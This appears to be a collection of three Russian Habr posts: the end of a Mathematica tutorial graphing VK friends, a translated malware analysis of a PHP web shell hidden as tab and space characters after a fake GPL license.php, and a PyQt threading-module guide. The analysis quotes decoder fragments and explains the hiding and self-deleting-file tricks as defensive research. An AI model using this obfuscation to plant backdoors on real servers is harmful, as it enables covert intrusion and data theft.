Но не огорчайтесь, время сходить за чаем и даже его испить у вас будет. Сам по себе **friends.getMutual** не особенно скоростной, так он еще и для каждого из ваших друзей выполняться должен. На моих 333 друзьях это заняло 119 секунд. Сие есть самая длительная операция за все исследование. Пока работает эта функция, можно поставить чайник и выбрать чай. **DeleteCases** возник в процессе отладки, когда глубина полученного массива оказалась внезапно равна 7. А все потому что в друзьях есть пользователи, для которых по каким-то причинам недоступны общие друзья. И сообщение об ошибке представлено в виде правил. Поэтому, удалив все правила, глубина массива станет нормальной, а тип данных станет Integer (представленный как String).
В результате выполнения кода, в переменной **friendsOfFriends** будет двумерный список, размером Length[myFriends]. И каждому элементу **myFriends** (другу) будет соответствовать список ваших общих друзей с этим другом. Теперь надо соединить каждого друга из **myFriends** со всеми соответствующими ему друзьями из **friendsOfFriends**. Фух. Объяснить словами вроде получилось, но если применять для этого вложенный Map, получится совершенно нечитабельно. Поэтому, похулиганим немного в процедурном стиле (убедительная просьба не повторять самостоятельно. Это очень плохой стиль для Mathematica. Ассемблер базировался на goto и в процедурном программировании стал плохим стилем, а *Wolfram Language* же позволяет решать всё аналитически, и здесь плохим стилем являются явные циклы [чисто формально это делает его языком нового поколения])
Далее, можно попытаться построить сей граф, но ничего не выйдет. Неориентированные графы со степенью вершин больше единицы добавлены только в еще не вышедшей *Mathematica* 10. Степень всех вершин не-орграфа равна двум, ибо каждый пользователь, находящийся в друзьях у другого пользователя, также находится в друзьях у первого. Проще говоря, мы нашли общего друга B с пользователем A, а когда смотрели страничку B, пользователь A так же оказывается в общих друзьях. И после исследования всей сети, все пользователи стали соединяться двумя ребрами. Чтобы на это посмотреть, замените **UndirectedEdge** на **DirectedEdge** по всем вхождениям. Но орграф избыточен ровно в 2 раза, так что от повторных ребер необходимо избавляться и строить неориентированный граф.
Пришлось писать свою функцию проверки, ибо нету такой. И, за одно, соединим графы воедино. Как ни странно, работает довольно долго… В результате, количество связей должно уменьшится чуть менее чем вдвое, потому что связи от **gMyFriends** не дублированы.
Ну все, можно строить! Только ничего непонятно будет. Так что продолжаем кодить пока не станет понятно.
Для того чтобы стало понятно, необходимо поменять вид вершин графа. Это можно сделать опцией **VertexShape** функции **Graph**. **VertexShape** принимает список правил замены названий на любые объекты. Названия вершин в данном случае представляют собой список **gMyFriends**, расширенный всего одним элементом — пользователем **myID**. Таким образом, необходимо получить информацию для всех элементов списка **Append[myFriends, myID]** и сделать из этого правила. Помните о вскипевшем чайнике? Самое время. У вас есть пара минут чтобы попить чай.
Что классно, так это то, что вся инфа запрашивается сразу в одном запросе. Только надо из `ToString@Append[myFriends, myID]` убрать скобки и пробелы.
Теперь мы имеем массив того, что надо заменять и массив того, на что надо заменять. Но нет, пока еще нЕ на что. Нужно чтобы всё было красиво.
Сначала, конструируются прямоугольные рамочки с именем и аватаркой, потом они помещаются в трех-уровневый список рядом с соответствующими ID, а потом в каждом элементе списка из списков, подменяется заголовок функции с List на Rule. В итоге, получаем список правил из списка списков. (Ну разве *Wolfram Language* не прекрасен?)
Вот теперь точно всё!
Можно насладиться результатом. Лично у меня получилось экспортировать эту красоту только в PDF, однако при этом пропадает кириллица, так что если на вашей странице стоит русский язык, добавьте в функцию VK "`⟨=en`" после "`&v=5.16`". Мой результат выглядит как-то так
Впечатляюще. Глобально. Особенно когда контакт является основным средством общения.
[Блокнот скачать тут](http://1drv.ms/1eG02p7). Больше 300 человек в одном запросе уже не проходят, необходимо делить и об этом далее.
---
(прошла неделя)
Сегодня мне доказали, что себя на графе рисовать бесполезно, ибо в любом случае вы связаны с каждым из своих другов одной связью. Следовательно, эта связь избыточна. Я перестроил свои графы и они изменились. Так же, я добавил механизм автоматического разбиения списка друзей на части и сбора результата. Теперь он даже показывает прогресс выполнения — после каждого запроса печатает строку и когда напечатанных строк станет столько же, сколько частей в разделенном списке друзей, это 100%.
Экспериментально определено, что если в одном запросе больше 200 человек, начинаются проблемы. Оптимальное количество — 100. А вообще, чем меньше, тем надежнее. У меня 50 потому что всего друзей 300.
И еще, пришлось выкинуть из друзей всех, с кем нет общих. Они заботливо выводятся на экран и исключаются из дальнейших вычислений.
Все это доступно [вот тут](https://1drv.ms/u/s!AiTlk9IOjN7Vj2I3SHtN0pYpnBeU)
|
https://habr.com/ru/post/216831/
| null |
ru
| null |
# Невидимые символы, скрывающие веб-шелл в зловредном коде на PHP
В ноябре мы писали о том, как злоумышленники используют [инъекции JavaScript для загрузки зловредного кода из файлов CSS](https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html).
Поначалу незаметно, что эти инъекции содержат что-то, кроме безобидных правил CSS. Однако при более тщательном анализе файла .CSS обнаруживается 56 964 кажущиеся пустыми строки, содержащие сочетания из невидимых символов табуляции (0x09), пробелов (0x20) и переводов строки (0x0A), которые преобразуются в двоичное представление символов, а затем в текст исполняемого кода на JavaScript.
Вскоре мы обнаружили такую же схему использования и во вредоносных программах на PHP. В статье мы расскажем о том, что обнаружил аналитик вредоносного ПО [Лиам СмитSmith](https://twitter.com/liamsmith86), работая недавно над сайтом, содержащим множество загружаемых хакерами бэкдоров и веб-шеллов.
### Подозрительный файл license.php
Один из найденных Лиамом файлов выглядел немного странно: **system/****license.php**.
Как можно понять из названия, он содержит текст лицензионного соглашения, а именно [GNU General Public License version 3](https://www.gnu.org/licenses/gpl-3.0.en.html).
Этот текст лицензии расположен внутри многострочного комментария PHP. Однако в строке 134 мы видим разрыв между двумя комментариями, содержащий исполняемый код на PHP.
*Код на PHP внутри license.php*
Сокрытие зловредного кода между блоками комментариев — это распространённый способ обфускации, используемый хакерами.
Код очевидно зловреден, но на первый взгляд не было очевидно, полный ли это текст зловреда, или у него есть в файле и другие части. Легко заметить, что он пытается считать себя и сделать что-то со своим содержимым при помощи `file_get_contents(basename($_SERVER[‘PHP_SELF’])))`. Однако при кратком визуальном изучении файла не обнаружилось никаких других частей, которые можно преобразовать в работающий код на PHP.
### Анализ видимого зловредного кода
Чтобы понять, что конкретно делает зловредный код, мы проанализировали каждую конструкцию.
Первый фрагмент разделяет содержимое файла на части, отделённые символом точки с запятой, а последнюю часть присваивает переменной `$cache`. Этот код работает с частью файла, находящейся после последней `;`.
Оказывается, что последняя точка с запятой в файле также является последним символом лицензионного соглашения: "**But first, please read <[www.gnu.org/philosophy/why-not-lgpl.html>;](http://www.gnu.org/philosophy/why-not-lgpl.html>;)**". В настоящем лицензионном соглашении последним символом является точка, и это показывает, что файл был намеренно модифицирован злоумышленником.
После этой последней точки с запятой визуально ничего не видно. Чтобы понять, что выполняется оставшейся частью файла, нам нужно проанализировать следующий раздел операторов зловреда.
### Декодер разделителей
```
for($i=0;$i
```
Здесь мы видим, что код считывает остальную часть файла фрагментами по восемь символов за раз (`substr($cache,$i,8)`) и преобразует табуляции (`9`) и пробелы (`32`) в единицы и нули. Получившаяся двоичная строка затем преобразуется в десятичное число (`bindec`), а потом в символ при помощи функции `chr()`. Таким образом, октет за октетом, остальная часть разделителей файла преобразуется в видимую строку.
На этом этапе строка не имеет никакого смысла и не является исполняемой. Чтобы полностью декодировать и исполнить полезную нагрузку, используется следующее сочетание функций: `base64_decode(str_rot13(gzdecode(…`.
В качестве резервного способа исполнения полезной нагрузки зловредный код также пытается сохранить декодированное содержимое в файл с названием " " (просто пробел — так его сложнее заметить в списке файлов) и включает его на лету с помощью `include $cachepart;`. После этого данный файл удаляется, чтобы попытаться избежать обнаружения.
Тем не менее, мы получили отчёты о том, что по какой-то причине эти файлы с пустым именем всё равно можно найти на скомпрометированных сайтах.
### Раскрытие сокрытой полезной нагрузки
Теперь, когда мы знаем, что это зловредное ПО ищет символы табуляции и пробелы после последней точки с запятой, можно найти и декодировать эту скрытую полезную нагрузку.
Как оказалось, в конце последней строки файла `license.php` содержится почти **300 килобайт** невидимых символов табуляции и пробелов. Для сравнения: видимый текст лицензии составляет всего **30 КБ**.
Эти невидимые символы можно обнаружить, проверив шестнадцатеричный код последней строки или выбрав в текстовом редакторе содержимое после последней `;` (со включенным переносом строк).
*Последняя строка license.php в шестнадцатеричном виде*
*Начало невидимого содержимого, выделенное в текстовом редакторе*
Хотя эта картинка, как и похожая обфускация из [описанного в ноябре](https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html) зловреда на JavaScript, напоминает код Морзе, в данном примере не используются символы перевода строки (line feed, 0x0A). Это означает, что невидимое содержимое не создаёт огромное количество подозрительных пустых строк в конце файлов.
Использовав алгоритм декодирования разделителей (whitespace) из кода, мы получаем **74-килобайтный** файл веб-шелла, предоставляющий хакерам инструменты для работы с файлами и базами данных на сервере, сбора персональной информации, инфицирования файлов и проведения брутфорс-атак. Кроме того, он может работать как консоль сервера или анонимайзер для сокрытия реального IP-адреса злоумышленников.
*Декодированный из разделителей веб-шелл*
### Источник происхождения алгоритма
Как часто выясняется в наших расследованиях, многие используемые в зловредном ПО хитрости и алгоритмы создаются не хакерами. Большая часть кода уже существовала ранее и просто копируется с сайтов наподобие [StackOverflow](https://stackoverflow.com/).
Поиск фрагмента кода этого декодера разделителей [привёл к статье 2019 года](https://habr.com/en/post/458710/) на Хабре. Автор статьи поделился своим proof of concept обфускации PHP при помощи разделителей, вдохновившись статьёй об обфускации 2011 года, в которой рассказывалось о концепции кодирования при помощи только символов табуляции и пробелов.
Автор зловреда просто взял часть с декодером разделителей из этой статьи, не внеся никаких изменений, а затем добавил код для работы с дополнительным слоем обфускации и исполнения декодированной полезной нагрузки.
### Аплоудер зловредного ПО
На скомпрометированных серверах довольно редко встречается только один тип бэкдора. Обычно их несколько, и каждый из них отвечает за конкретную задачу.
Например, файл с невинным названием `license.php` должен оставаться невидимым в течение долгого времени, обеспечивая доступ к скомпрометированному сайту даже после обнаружения и удаления всего остального зловредного ПО.
Файлы или код, которые злоумышленники изначально внедряют на сервер, чтобы инфицировать сайт — это другой тип бэкдора. Обычно он располагается в мелком файле в скомпрометированном окружении; такие бэкдоры позволяют злоумышленникам или исполнять произвольный код, или создавать определённые файлы. Они не должны быть особо скрытными или сильно обфусцированными — чтобы замести следы, хакеры часто удаляют их после применения.
Конкретно в этом случае мы обнаружили аплоудеры зловредного ПО, создающие фальшивые файлы `license.php`, а также инъецирующие зловредов в файлы `.htaccess` и `index.php`.
*Аплоудер зловредного ПО, создающий фальшивые файлы license.php*
### Заключение
Хотя сокрытие зловредного содержимого от невооружённого глаза кажется хорошей идеей, использованная в этом коде обфускация разделителями далека от идеала. Она содержит легко обнаруживаемый фрагмент PHP и его удаление приводит к невозможности использования невидимой полезной нагрузки. Ещё один недостаток такого подхода — огромный размер файла. Зловред увеличил размер файла в десять раз, из-за чего он стал гораздо более подозрительным.
Техники обфускации стандартно используются хакерами для сокрытия кода и утаивания зловредного поведения. Существуют сотни известных типов обфускации, а злоумышленники всегда ищут новые способы защиты от обнаружения.
К счастью для администраторов сайтов, для удаления зловредного ПО им необязательно декодировать его и чётко понимать принцип его работы. Для обнаружения нежелательных модификаций файлов достаточно простого ПО контроля целостности.
Если при изучении изменений вы не уверены, являются ли они зловредными, то самым безопасным будет откатиться к чистой версии — ведь у вас ведь есть резервная копия?
---
#### На правах рекламы
**Серверы для разработчиков и не только!** [Недорогие VDS](https://vdsina.ru/cloud-servers?partner=habr261) на базе новейших процессоров AMD EPYC и хранилища на основе NVMe дисков от Intel для размещения проектов любой сложности, создавайте собственную конфигурацию сервера в пару кликов!
[](https://vdsina.ru/cloud-servers?partner=habr261)
|
https://habr.com/ru/post/542012/
| null |
ru
| null |
# PyQt: простая работа с потоками
Очень часто в программах приходится использовать многопоточность. Иногда это монстрообразные пулы потоков со сложным взаимодействием, но гораздо чаще это бывает простой код, главное требование к которому — не замораживать интерфейс.
В PyQt есть два основных средства работы с потоками высокого уровня: питоновский threading и Qt'овский QThread. Для меня QThread оказался предпочтительней из-за лучшей связи с механизмом сигналов-слотов в Qt.
Итак, инструмент выбран, все отлично работает, но со временем захотелось сделать работу с потоками несколько проще и удобней. Возникла идея сделать ~~велосипед~~ модуль работы с потоками для простых случаев.
##### simple\_thread
Этот [модуль](https://dl.dropbox.com/s/e4tyivgb3vwsds0/simple_thread.py) предназначен для работы с потоками в классах, унаследованных от QObject. С помощью него можно заставить любой метод класса выполняться в отдельном потоке, при этом изнутри метода можно обращаться (хотя и ограниченно) к атрибутам и методам класса.
Разберем на простом примере:
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
from time import sleep
from PyQt4.QtCore import *
from PyQt4.QtGui import *
from simple_thread import SimpleThread
class Foo(QLabel):
def __init__(self, parent = None):
QLabel.__init__(self, parent)
self.setFixedSize(320, 240)
self.digits = ['one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine', 'ten']
@SimpleThread
def bar(self, primaryText):
rows = []
digits = self.digits
for item in digits:
rows.append('%s: %s' % (primaryText, item))
self.setText('\n'.join(rows), thr_method = 'b')
sleep(0.5)
def setText(self, text):
QLabel.setText(self, text)
if __name__ == "__main__":
app = QApplication(sys.argv)
foo = Foo()
foo.show()
foo.bar('From thread', thr_start = True)
app.exec_()
```
Класс *Foo* наследуется от *QLabel*, и мы хотим раз в полсекунды менять текст метки, не замораживая интерфейс. Выводом текста у нас будет заниматься метод *bar*. Чтобы работа этого метода происходила в отдельном потоке, перед объявлением метода ставим декоратор *@SimpleThread*.
Изнутри метода нам будет необходим доступ к атрибуту *digits* — списку выводимых слов. Также нам необходимо обновлять текст метки, для этого мы будем вызывать метод *setText*.
##### Доступ к атрибутам
Первая проблема — *digits* может использоваться не только этим потоком.
Модуль simple\_thread позволяет обойти эту проблему. Когда мы получаем атрибут, нам возвращается не ссылка на этот атрибут, а его копия. При этом, все действия происходят в контексте основного потока, и нам не надо беспокоиться об одновременном доступе к атрибуту из нескольких потоков.
Таким образом можно обращаться к спискам, словарям и всем неизменяемым атрибутам класса (строки, кортежи и т. п.).
Здесь есть один момент — это работает достаточно медленно, так что с доступом к атрибутам перебарщивать не стоит.
##### Вызов методов
Проблема номер два — вызов метода *setText*. Проблема похожа на первую — Qt выдаст исключение при попытке доступа к методу графического класса не из основного потока. Как и впервом случае, решается это приостановкой нашего потока и вызовом метода из основного потока.
Есть три различных варианта вызова методов, зависящих от аргумента *thr\_method*:
* **thr\_method = 'b'**: при вызове метода происходит приостановка нашего потока до окончания работы метода. Выполнение метода происходит в основном потоке. Только в этом варианте межно получить возвращаемое значение метода;
* **thr\_method = 'q'**: в этом случае наш поток не останавливается. Метод так же выполняется в основном потоке;
* **thr\_method = None или не задан**: выполнение метода происходит в контексте нашего потока. Здесь надо быть внимательным — все ограничения, связанные с многопоточностью вступают в силу, в частности, в методе нельзя обращаться к атрибутам класса.
Аргумент thr\_method не передается в вызываемый метод.
##### Установка атрибутов
Установка атрибутов из другого потока так же возможна.
```
self.newAttr = 'text'
```
Атрибуты могут быть любого типа.
Как и в остальных случаях, вся работа проводится в главном потоке и не вызывает проблем, стоит только помнить, что устанавливая атрибут, можно затереть одноименный существующий.
##### Запуск потока
Для запуска нашего кода мы просто выполняем метод *bar*, указав аргумент *thr\_start = True*, чтобы поток стартовал немедленно.
Есть и другой способ, он пригодится, если мы захотим обрабатывать сигналы, вызываемые из другого потока или сигналы класса *QThread* (*started*, *finished*, *terminated*).
```
thread = foo.bar('From thread')
thread.finished.connect(self.barFinished)
thread.start()
```
Здесь мы связали сигнал окончания работы потока *finished* с методом *barFinished* и запустили поток.
##### Остановка потока
Если по какой-то причине нам необходимо остановить выполняющийся поток, мы можем это сделать, вызвав метод *thr\_stop*.
```
thread = foo.bar('From thread', thr_start = True)
...
thread.thr_stop()
```
Этот метод устанавливает флаг *thr\_stopFlag=True*, состояние которого мы должны отслеживать в нашем методе и при его истинном значении заканчивать работу нашего метода.
Стоит отметить, что метод *thr\_stop* не ждет остановки потока, возвращая управление сразу. Если же нам надо дождаться окончания работы потока, после *thr\_stop* необходимо вызвать метод *wait*.
В модуле simple\_thread есть две функции для остановки всех активных потоков — *terminateThreads* и *closeThreads*. Первая функция жестко прерывает выполнение всех потоков, что может быть небезопасно. Вторая же функция работает так, как если бы мы вызвали *thr\_stop* для каждого потока, а затем *wait*.
Все замечания, предложения и тому подобное приветствуются. Если что-то подобное кем-то уже было реализовано, то буду рад ссылке.
|
https://habr.com/ru/post/125699/
| null |
ru
| null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.